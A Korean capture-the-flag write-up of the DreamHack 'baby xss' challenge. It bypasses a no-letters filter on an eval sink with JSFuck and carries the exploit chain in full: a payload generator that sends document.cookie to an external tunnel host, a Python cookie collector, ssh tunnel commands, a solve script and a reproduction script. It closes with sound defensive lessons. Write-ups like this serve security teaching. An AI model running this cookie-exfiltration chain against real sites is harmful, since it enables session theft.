문제: DreamHack — baby xss 분류: web 난이도: 🥈 Silver 2 FLAG:
DH{xss_can_occur_without_alphabet!!}
문제 설명은 한 줄이다. "아직 영어을 구사하지 못하는 baby들을 위해 alphabet 입력
필요없는 페이지를 만들었어요!" 영문자를 안 받겠다는 게 아니라 못 쓰게 하겠다는
뜻이고, 그게 이 문제의 전부다.

문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | baby xss |
| 난이도 | 🥈 Silver 2 |
| 분류 | web |
| 스택 | Node 18 · Express 4.18 · cookie-parser · puppeteer 21.5 + google-chrome-stable |
| 제공 파일 | index.js · package.json · Dockerfile · views/ 4개 |
| 서버 | http://host3.dreamhack.games:15232/ (드림핵 VM) |
| 핵심 취약점 | 사용자 입력이 템플릿 문자열째 eval 안으로 들어간다 |
| 관문 | 영문자 전체 + \ & # ; % * $ = 차단, payload 길이 24KB |
플래그는 서버 파일이 아니라 봇의 쿠키에 들어 있다. 신고 기능이 헤드리스 크롬을
띄워 쿠키를 심고 내가 준 주소를 열어 주므로, 그 브라우저 안에서 자바스크립트를
실행시켜 document.cookie 를 밖으로 빼내면 끝난다. 문제는 그 자바스크립트를 영문자
없이 써야 한다는 것이다.
🔬 코드 정찰 — 라우트 여섯 개가 전부다
index.js 는 63줄이고 군더더기가 없다. 먼저 쿠키와 신고 라우트부터 본다.
const FLAG = process.env.FLAG ?? "DH{dummy}";
const cookies = [
{ name: 'flag', value: FLAG, domain: '127.0.0.1' },
];
const saved = new Map();
app.post("/report", (req, res) => {
(async () => {
const browser = await puppeteer.launch({
executablePath: '/usr/bin/google-chrome',
args: ["--no-sandbox"]
});
const page = await browser.newPage();
await page.setCookie(...cookies);
await page.goto(req.body.url);
await delay(500);
await browser.close();
})();
res.end('Reported!');
})httpOnly 가 없으니 document.cookie 로 읽힌다. 도메인이 127.0.0.1 이라 봇이
자기 자신에게 접속할 때만 붙고, 그래서 신고 폼은 주소의 앞부분을 고정해 둔다.
URL : http://127.0.0.1:3000/<input id="reportURL" type="text">body: JSON.stringify({
url: `http://127.0.0.1:3000/${reportBox.value}`,
}),즉 내가 고를 수 있는 건 경로 뒷부분뿐이다. 외부 주소를 바로 먹일 수는 없고, 일단 문제 서버 안에서 코드를 실행시킨 다음 거기서 밖으로 나가야 한다.

/music 의 스크립트가 이 문제의 심장이다. views/music.html 에서 그대로 옮긴다.
const recommend = (age) => {
if (age.match(/[a-zA-Z\\&#;%*$=]/g)) {
alert('nope! ⊂(・﹏・⊂)');
window.history.back()
}
eval(`msg.innerHTML='This is recommended album for ${age}-year-old.'`);
const img = document.createElement('img')
img.src = 'https://upload.wikimedia.org/wikipedia/en/0/03/Post_Malone_-_Twelve_Carat_Toothache.png';
album.append(img);
}innerHTML 에 넣는 것까지는 흔한 모양인데, 그 대입문 전체를 문자열로 만들어
eval 에 넘긴다. 그래서 공격 지점은 HTML 이 아니라 자바스크립트 문자열이다.
age 가 작은따옴표 안에 들어가므로 따옴표만 닫으면 그 뒤는 코드다.
같은 recommend 가 views/saved.html 에도 복사되어 있다. 이쪽은 age 를 URL 이
아니라 POST /saved 응답에서 가져온다. 나중에 이 차이가 결정적으로 쓰인다.
curl -s "http://host3.dreamhack.games:15232/music?age=3"
🧩 문자열을 닫으면 그 뒤는 코드다
eval 이 받는 소스를 그대로 펼쳐 보면 이렇다.
msg.innerHTML='This is recommended album for ' + age + '-year-old.'age 자리에 '+(1+1)+' 를 넣으면 소스는 … for '+(1+1)+'-year-old.' 가 되고,
(1+1) 은 문자열이 아니라 식으로 계산된다. 영문자도, 등호도, 세미콜론도 쓰지
않았다. 주소창에 직접 넣어 확인한다.
# ' 와 + 는 URL 인코딩해서 넣는다 (%27, %2B)
curl -s "http://host3.dreamhack.games:15232/music?age=%27%2B(1%2B1)%2B%27"
3 자리가 2 로 바뀌었다. 더할 것 없이 명백한 코드 실행이고, 이제 남은 일은
(1+1) 자리에 쿠키를 보내는 코드를 넣는 것뿐이다. 그 자리를 막고 선 게 필터다.
🚧 필터 — 영문자 전체와 기호 여덟 개
if (age.match(/[a-zA-Z\\&#;%*$=]/g)) {
alert('nope! ⊂(・﹏・⊂)');
window.history.back()
}문자 클래스를 하나씩 풀면 a-z, A-Z, \, &, #, ;, %, *, $, = 이다.
영문자가 통째로 없으니 location 도 document 도 이름을 적을 수 없고, = 이 없으니
대입도 못 하며, ; 이 없으니 문장을 끊을 수도 없다. 흔한 우회인 HTML 인젝션도
<img onerror> 에 영문자가 필요해서 그대로 막힌다.
curl -s "http://host3.dreamhack.games:15232/music?age=%3Cscript%3Ealert(1)%3C%2Fscript%3E"
필터를 노려보는 것보다 브라우저에 직접 물어보는 편이 빠르다. 라이브 페이지에서
개발자도구 콘솔을 열고 페이지가 들고 있는 recommend 를 그대로 출력한 뒤, 두 입력을
같은 정규식에 넣어 봤다.
recommend
/[a-zA-Z\\&#;%*$=]/.test('<script>alert(1)</script>')
/[a-zA-Z\\&#;%*$=]/.test("'+(1+1)+'")
콘솔에 찍힌 함수 원문이 배포본과 같다는 것, 그리고 '+(1+1)+' 는 정규식을 건드리지도
않는다는 것이 동시에 보인다. 이 false 를 24KB 로 키우는 게 남은 일이다.
💣 돌파구 — JSFuck 의 알파벳은 차단 집합과 겹치지 않는다
JSFuck 은 자바스크립트를 [ ] ( ) ! + 여섯 글자로만 다시 쓰는 변환이다.
원리는 단순하다. ![] 는 false, !![] 는 true, []+[] 는 빈 문자열이고, 이들을
문자열로 만들어 인덱스를 집으면 글자가 나온다. (![]+[])[+[]] 는 "false"[0] 이니
f 다. 이렇게 모은 글자로 "constructor" 를 만들고, 함수의 constructor 로
Function 을 얻어 임의의 소스를 실행한다.
여기서 중요한 건 미학이 아니라 집합이다.
| 문자 | |
|---|---|
| 필터가 막는 것 | a-z A-Z \ & # ; % * $ = |
| JSFuck 이 쓰는 것 | [ ] ( ) ! + |
| 교집합 | 없음 |
우회를 궁리할 게 아니라 애초에 걸리지 않는다. 그래서 코드는 평범하게 쓰고 변환만 씌우면 된다. 봇 안에서 돌릴 코드는 이것 하나다.
location.replace('//945e19869f7d2d.lhr.life/' + document.cookie)location.href = … 대신 location.replace(…) 를 쓴 이유는 글자 수다. 변환 결과는
식 하나여야 하는데 대입문보다 메서드 호출이 짧고, 봇이 500ms 뒤 닫히므로 히스토리를
남기지 않는 쪽이 깔끔하다. 변환은 jsfuck 패키지에 맡겼다.
#!/usr/bin/env node
// baby xss (DreamHack #993) — age 파라미터용 payload 생성기
//
// 취약점: /music, /saved 의 recommend() 가
// eval(`msg.innerHTML='This is recommended album for ${age}-year-old.'`)
// 로 age 를 템플릿 문자열째 eval 에 넣는다. 필터는 /[a-zA-Z\\&#;%*$=]/ —
// 영문자 전체와 \ & # ; % * $ = 가 금지. JSFuck 의 알파벳은 []()!+ 뿐이라
// 교집합이 0 이다. 그래서 '+<JSFuck>+' 로 문자열만 탈출하면 임의 JS 가 돈다.
const { JSFuck } = require('./tools/node_modules/jsfuck');
const host = process.argv[2];
if (!host) {
console.error('usage: node gen_payload.js <수집서버 host[:port]>');
process.exit(1);
}
// 쿠키(flag)를 수집 서버 경로에 실어 보낸다. location.replace 를 쓰는 이유:
// = 가 필터에 걸리는 것과는 무관(JSFuck 안에서는 문자가 사라진다)하지만,
// 쿠키를 그대로 URL 에 붙이는 가장 짧고 확실한 전송 수단이다.
const code = `location.replace('//${host}/'+document.cookie)`;
const expr = JSFuck.encode(code, true); // true = Function(code)() 로 실행까지
const payload = `'+${expr}+'`; // eval 안의 '...' 문자열을 탈출
const alphabet = [...new Set(payload)].sort().join('');
console.error(`[gen] code : ${code}`);
console.error(`[gen] payload : ${payload.length} bytes`);
console.error(`[gen] alphabet : ${alphabet}`);
console.error(`[gen] 필터통과 : ${/[a-zA-Z\\&#;%*$=]/.test(payload) ? 'NO' : 'YES'}`);
process.stdout.write(payload);JSFuck.encode(code, true) 의 두 번째 인자가 핵심이다. 기본값은 "그 문자열과 같은 값을
만드는 식"을 돌려주는데, 그건 실행이 아니라 문자열일 뿐이다. true 를 주면
Function(code)() 형태로 감싸 실행까지 하는 식이 나온다. 앞뒤로 '+ 와 +' 만
붙이면 eval 안의 문자열이 열렸다 닫히고 그 사이에서 식이 돈다.
node gen_payload.js 945e19869f7d2d.lhr.life > payload.txt && cut -c1-200 payload.txt && wc -c payload.txt
알파벳 줄에 !'()+[] 만 찍혔다. 작은따옴표 두 개는 내가 붙인 탈출용이고 나머지는
JSFuck 이 쓴 여섯 글자다. 필터 통과 여부도 생성기가 스스로 검사해서 YES 로 찍는다.
🚚 24KB 를 어디로 넣나 — /save 가 그래서 있다
문제는 길이다. 23,809 바이트를 ?age= 로 밀어 넣으면 요청 라인이 그대로 그만큼
길어지는데, Node 의 기본 maxHeaderSize 는 16KB 다. 실제로 던져 보면 본문도 못 보고
잘린다.
curl -s -o /dev/null -w "http_code=%{http_code}\n" --get --data-urlencode "age@payload.txt" "http://127.0.0.1:13993/music"
curl -s -o /dev/null -w "http_code=%{http_code}\n" "http://127.0.0.1:13993/music?age=3"첫 줄은 431(Request Header Fields Too Large), 둘째 줄은 200 이다. 그런데 문제는
길이 제한이 없는 통로를 직접 제공한다.
app.post("/save", (req, res) => {
const id = crypto.randomBytes(20).toString('hex');
saved.set(id, req.body.age);
res.send(`saved! Remember your id: ${id}`);
})
app.post("/saved", (req, res) => {
const age = saved.get(req.body.id);
res.send(age ? age : 'false');
})POST 본문이라 길이가 자유롭고, 돌려받는 건 40자 hex 아이디 하나다. 그리고
views/saved.html 이 그 아이디로 payload 를 가져와서 같은 recommend 에 넣는다.
봇에게는 긴 payload 대신 짧은 주소 하나만 주면 된다.

신고 폼이 http://127.0.0.1:3000/ 를 강제하는 것도 여기서 아귀가 맞는다. 어차피
저장소도 recommend 도 같은 서버 안에 있으니 경로만 주면 충분하다.
🧪 받는 쪽 — 공격자 서버는 Kali VM 에 세운다
쿠키를 받으려면 문제 서버가 바깥으로 요청을 보낼 수 있는 주소가 필요하다. 운영 중인 사이트를 수집함으로 쓰면 훔친 쿠키가 그대로 운영 로그에 박히므로, 집 NAS 에 올려 둔 Kali VM 에 임시로 세우고 터널만 뚫었다.
#!/usr/bin/env python3
"""baby xss — 피싱 아니고 쿠키 수집기. XSS 가 돌면 봇 브라우저가
location.replace('//<이 서버>/'+document.cookie) 로 여기 찍고 간다.
요청 경로를 그대로 로그에 쓰고, DH{...} 가 보이면 FLAG 로 표시한다."""
import re
import sys
import urllib.parse
from http.server import BaseHTTPRequestHandler, HTTPServer
LOG = sys.argv[2] if len(sys.argv) > 2 else "collector.log"
FLAG_RE = re.compile(r"DH\{[^}]*\}")
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
raw = urllib.parse.unquote(self.path)
line = f"HIT {self.client_address[0]} {raw}"
print(line, flush=True)
with open(LOG, "a") as fp:
fp.write(line + "\n")
m = FLAG_RE.search(raw)
if m:
print(f"FLAG {m.group(0)}", flush=True)
with open(LOG, "a") as fp:
fp.write(f"FLAG {m.group(0)}\n")
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"ok\n")
def log_message(self, *a):
pass
if __name__ == "__main__":
port = int(sys.argv[1]) if len(sys.argv) > 1 else 8899
print(f"[collector] 0.0.0.0:{port} -> {LOG}", flush=True)
HTTPServer(("0.0.0.0", port), Handler).serve_forever()scp collector.py kali:~/atk_babyxss/collector.py
ssh kali 'cd ~/atk_babyxss && setsid nohup python3 collector.py 8899 ~/atk_babyxss/collector.log > server.out 2>&1 < /dev/null & disown'
ssh kali 'cd ~/atk_babyxss && setsid nohup ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=30 -R 80:localhost:8899 nokey@localhost.run > lhr.log 2>&1 < /dev/null & disown'
ssh kali 'grep -aoE "https://[a-z0-9-]+\.lhr\.life" ~/atk_babyxss/lhr.log'터널 주소는 매번 달라지므로 solve 스크립트에 박지 않고 인자로 받게 했다. 글에 남은
945e19869f7d2d.lhr.life 도 그날 한 번 쓰고 사라진 주소다.
🚀 로컬에서 먼저 — 배포본 그대로 돌린다
라이브 서버를 켜기 전에 배포본 컨테이너로 똑같은 체인을 돌려 봤다. 수집 서버는 호스트에 올리고, 컨테이너에서 나오는 주소인 docker0 브리지 IP 를 payload 에 넣는다.
▶📄 reproduce.sh — 빌드부터 플래그 대조까지
#!/usr/bin/env bash
# baby xss (DreamHack #993) — 한 방 재현.
#
# 로컬 재현 : 배포본으로 컨테이너를 띄우고, 호스트에 수집 서버를 올린 뒤
# payload 를 심어 봇이 쿠키를 토해내게 한다.
# ./reproduce.sh
#
# 라이브 검증 : 드림핵 VM 주소 + 외부에서 닿는 수집 서버 주소를 준다.
# WG_ATTACKER=<host[:port]> ./reproduce.sh --live http://host3.dreamhack.games:PORT
set -eu
cd "$(dirname "$(readlink -f "$0")")"
IMAGE=babyxss-local
NAME=babyxss-993-repro
PORT=${PORT:-13993}
COLLECTOR_PORT=${COLLECTOR_PORT:-8899}
LOCAL_FLAG='DH{local_repro_flag_993}'
if [ "${1:-}" = "--live" ]; then
BASE=${2:?--live 뒤에 http://host:port 를 적어라}
ATTACKER=${WG_ATTACKER:?WG_ATTACKER 에 외부에서 닿는 수집 서버 host[:port] 를 넣어라}
echo "[*] 라이브: $BASE (수집 서버 $ATTACKER)"
python3 solve.py "$BASE" "$ATTACKER"
echo "[*] 수집 서버 로그에서 DH{...} 를 확인한다"
exit 0
fi
echo "[*] 배포본으로 컨테이너를 빌드한다 (extracted/Dockerfile — repro/Dockerfile.local — 크롬 설치에 몇 분)"
docker build -q -f repro/Dockerfile.local -t "$IMAGE" ./extracted >/dev/null
docker rm -f "$NAME" >/dev/null 2>&1 || true
echo "[*] 컨테이너 기동 (호스트 $PORT -> 3000), FLAG=$LOCAL_FLAG"
docker run -d --rm --name "$NAME" -p "$PORT:3000" -e "FLAG=$LOCAL_FLAG" "$IMAGE" >/dev/null
for _ in $(seq 1 40); do
curl -s -o /dev/null "http://127.0.0.1:$PORT/" && break || sleep 1
done
rm -f collector.log
python3 collector.py "$COLLECTOR_PORT" "$PWD/collector.log" > /dev/null 2>&1 &
COLLECTOR_PID=$!
sleep 1
# 컨테이너에서 호스트로 나오는 주소는 docker0 브리지 IP 다.
HOST_IP=$(ip -4 -o addr show docker0 | awk '{print $4}' | cut -d/ -f1)
python3 solve.py "http://127.0.0.1:$PORT" "$HOST_IP:$COLLECTOR_PORT"
sleep 2
kill "$COLLECTOR_PID" 2>/dev/null || true
docker rm -f "$NAME" >/dev/null 2>&1 || true
echo "[*] 수집 서버 로그"
cat collector.log
if grep -qF "$LOCAL_FLAG" collector.log; then
echo "REPRO_OK 봇 쿠키의 flag 가 수집 서버에 도착했다"
else
echo "REPRO_FAIL"; exit 1
fi./reproduce.sh
봇 쿠키에 심어 둔 DH{local_repro_flag_993} 가 수집 서버 경로에 그대로 들어왔다.
여기까지 맞으면 라이브에서 달라질 건 주소뿐이다.
👀 저장한 payload 를 내 브라우저로 열어 보면
/saved?id=… 는 봇 전용이 아니다. 같은 주소를 내가 직접 열어도 똑같이 eval 이
돌고, 그래서 브라우저가 수집 서버로 튕겨 나간다. 내 브라우저에는 127.0.0.1 쿠키가
없으니 플래그는 붙지 않고, 경로만 비어서 도착한다.
# solve.py 가 찍어 준 id 를 그대로 주소창에 넣는다
http://host3.dreamhack.games:15232/saved?id=f311c2b957dd97cb6adecd1ea26bc1ca5a7d3299
주소창이 문제 서버에서 터널 주소로 넘어갔다. 봇에게도 같은 일이 일어나는데, 그쪽은 쿠키가 붙는다는 차이만 있다.
🐛 삽질
▶🐛 삽질 1 — 필터는 return 이 없는데 왜 막히나
필터를 다시 보면 조건이 참일 때 alert 과 history.back() 만 부르고 return 이
없다. 그러면 영문자가 섞인 payload 도 경고창만 뜨고 eval 까지 가야 한다. 실제로
그런지 둘을 똑같은 방식으로 저장하고 똑같이 신고해서 비교했다.
#!/usr/bin/env python3
"""필터가 실제로 봇을 막는가 — A/B 비교.
recommend() 의 필터는 걸려도 return 하지 않는다. 그러니 영문자가 섞인 payload 도
alert 뒤에 eval 까지 가야 맞는데, 봇(puppeteer)에서는 그렇지 않다. 둘을 똑같이
저장해 똑같이 신고하고, 수집 서버에 요청이 들어오는지로 가른다.
python3 filter_ab_test.py <챌린지 base> <수집서버 host:port> <수집 로그 경로>
"""
import json
import pathlib
import re
import subprocess
import sys
import time
import urllib.request
BASE, COLLECTOR, LOG = sys.argv[1].rstrip("/"), sys.argv[2], pathlib.Path(sys.argv[3])
FILTER = re.compile(r"[a-zA-Z\\&#;%*$=]")
HERE = pathlib.Path(__file__).resolve().parent
def post(path, obj):
req = urllib.request.Request(
BASE + path, data=json.dumps(obj).encode(),
headers={"Content-Type": "application/json"}, method="POST")
return urllib.request.urlopen(req, timeout=30).read().decode()
def hits():
return LOG.read_text().splitlines() if LOG.exists() else []
def run(label, payload):
before = len(hits())
sid = post("/save", {"age": payload}).strip().split()[-1]
post("/report", {"url": f"http://127.0.0.1:3000/saved?id={sid}"})
time.sleep(5)
got = hits()[before:]
verdict = "걸림(alert)" if FILTER.search(payload) else "통과"
print(f"[{label}] {len(payload):>6}바이트 필터 {verdict} 수집서버 도착 {len(got)}건")
for line in got:
print(f" {line}")
run("A 영문자 포함", "'+location.replace('//%s/alphabet-payload-ran')+'" % COLLECTOR)
run("B JSFuck ", subprocess.run(["node", str(HERE / "gen_payload.js"), COLLECTOR],
capture_output=True, text=True, check=True).stdout)python3 filter_ab_test.py http://127.0.0.1:13993 172.17.0.1:8899 ./collector.log
영문자 쪽은 요청이 한 건도 안 왔다. eval 이 실행되지 않아서가 아니라 경고창이
먼저 떠서 그렇다. 헤드리스 크롬은 다이얼로그를 띄운 채 스크립트를 세워 두는데,
/report 는 500ms 뒤 브라우저를 닫아 버리므로 그 사이 아무 일도 못 한다. return 이
없는 건 사실이지만 결과적으로는 막힌다. 문제 의도대로 JSFuck 이 유일한 길이다.
▶🐛 삽질 2 — 빌드가 npm i 에서 25분을 멈춰 섰다
배포본 Dockerfile 에는 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 가 있다. 그런데
puppeteer 21 은 이 옛 이름을 더는 안 본다. 새 이름은 PUPPETEER_SKIP_DOWNLOAD 라
npm i 가 Chrome for Testing 140MB 를 다시 받으면서 25분을 잡아먹었다. 앱은
executablePath: '/usr/bin/google-chrome' 로 apt 가 깐 크롬을 직접 쓰므로 그 사본은
한 번도 쓰이지 않는다. 재현용 Dockerfile 에만 한 줄을 덧대 34초로 줄였다.
ENV PUPPETEER_SKIP_DOWNLOAD=true▶🐛 삽질 3 — 터널 주소가 중간에 바뀌어 502
localhost.run 터널을 먼저 열어 두고 로컬 검증을 하는 사이, 같은 ssh 세션이 주소를 새로 발급받았다. 처음 받은 주소로 찔러 보니 502 가 떨어져서 수집 서버가 죽은 줄 알았는데, Kali 안에서는 멀쩡히 응답하고 있었다. 로그를 다시 긁으니 주소가 두 개였다.
ssh kali 'grep -aoE "https://[a-z0-9-]+\.lhr\.life" ~/atk_babyxss/lhr.log | sort -u'payload 에 주소가 박히는 구조라, 생성 직전에 터널을 한 번 찔러 살아 있는 주소인지
확인하는 절차를 넣었다. 덤으로 터널을 정리하려고 pkill -f "R 80:localhost:8899" 를
쳤더니 그 패턴이 내가 지금 실행 중인 ssh 명령줄과도 일치해서 세션이 같이 끊겼다.
정리는 PID 로 한다.
🎯 라이브 — 세 번 요청하면 끝난다
로컬에서 체인이 다 돌았으니 라이브는 주소만 바꿔 한 번 실행하면 된다.
#!/usr/bin/env python3
"""baby xss (DreamHack #993, Silver 2 web) — 전체 공격 체인.
1) node gen_payload.js <수집서버> 로 JSFuck payload 를 만든다
(영문자·= 없이 location.replace('//host/'+document.cookie) 를 실행)
2) POST /save {"age": payload} -> 랜덤 40자 hex id
★ payload 가 24KB 라 ?age= 로는 node maxHeaderSize(16KB) 를 넘긴다.
/save + /saved?id= 통로를 써야 들어간다.
3) POST /report {"url": "http://127.0.0.1:3000/saved?id=<id>"}
-> puppeteer 가 flag 쿠키를 심고 그 URL 을 방문 -> eval -> 수집서버로 전송
"""
import json
import subprocess
import sys
import time
import urllib.request
HERE = "/home/jinho/Dev/Hacking_Project/워게임/2_Silver_2/baby-xss"
def post(base, path, obj):
req = urllib.request.Request(
base.rstrip("/") + path,
data=json.dumps(obj).encode(),
headers={"Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(req, timeout=30) as r:
return r.read().decode()
def main():
if len(sys.argv) < 3:
print("usage: solve.py <챌린지 base URL> <수집서버 host[:port]>")
return 1
base, collector = sys.argv[1], sys.argv[2]
payload = subprocess.run(
["node", f"{HERE}/gen_payload.js", collector],
capture_output=True, text=True, check=True,
).stdout
print(f"[1] payload {len(payload)} bytes (알파벳 !'()+[] 만)")
body = post(base, "/save", {"age": payload})
print(f"[2] /save -> {body}")
sid = body.strip().split()[-1]
url = f"http://127.0.0.1:3000/saved?id={sid}"
print(f"[3] /report url={url}")
print(f" -> {post(base, '/report', {'url': url})}")
time.sleep(3)
print("[4] 수집서버 로그를 확인한다 (collector.log)")
return 0
if __name__ == "__main__":
sys.exit(main())python3 solve.py http://host3.dreamhack.games:15232 945e19869f7d2d.lhr.life
받는 쪽은 Kali 에 띄워 둔 수집 서버다. 같은 로그 파일을 그대로 꺼내 본다.
ssh kali "tail -n 6 ~/atk_babyxss/collector.log"
DH{xss_can_occur_without_alphabet!!}플래그 문구가 문제 의도를 그대로 적어 놨다. 영문자 없이도 XSS 는 난다.
📝 결론
필터를 문자 단위로 짜면 인코딩에 진다. 영문자와 기호 여덟 개를 막은 건 꽤 공격적인
금지 목록인데, JSFuck 은 그 목록에 없는 여섯 글자만으로 임의 코드를 만든다. 금지 목록
방식은 "무엇을 막을지"를 전부 알아야 성립하고, 자바스크립트처럼 표현이 풍부한 언어에서
그건 가능하지 않다. 허용 목록으로 뒤집어 /^[0-9]+$/ 만 받았으면 이 문제는 성립하지
않는다.
애초에 eval 로 DOM 을 건드릴 이유가 없다. msg.innerHTML = '... ' + age + ' ...'
라고 쓰면 끝날 일을 굳이 문자열로 만들어 eval 에 넘겼다. 이 한 줄 때문에 HTML
인젝션이어야 할 것이 자바스크립트 코드 실행으로 승격됐다. 더 나아가 값만 넣을
자리라면 textContent 를 쓰면 HTML 파싱 자체가 일어나지 않는다.
검증은 막는 쪽이어야 한다. 이 문제의 필터는 경고만 띄우고 return 하지 않는다.
결과적으로는 경고창이 봇을 세워 막혔지만, 그건 헤드리스 브라우저의 동작에 기댄
우연이지 설계가 아니다. 사람이 쓰는 브라우저에서는 경고창을 닫는 순간 그대로 실행된다.
검사에 걸렸으면 거기서 함수를 끝내야 한다.
세션 쿠키에 HttpOnly 를 붙인다. 플래그 쿠키에 httpOnly 가 있었다면 eval 까지
뚫고 들어가도 document.cookie 에는 아무것도 없다. XSS 를 못 막는 상황에서도 피해
범위를 줄이는 가장 값싼 한 줄이다.
길이 제한을 보안 경계로 착각하지 않는다. payload 가 24KB 라 URL 로는 안 들어갔지만, 같은 서버가 길이 제한 없는 POST 저장소를 제공하고 그 값을 다시 같은 싱크로 흘려 보냈다. 입력 경로를 하나 막아도 같은 데이터가 다른 문으로 들어와 같은 곳에서 터진다면, 막아야 할 것은 문이 아니라 싱크다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…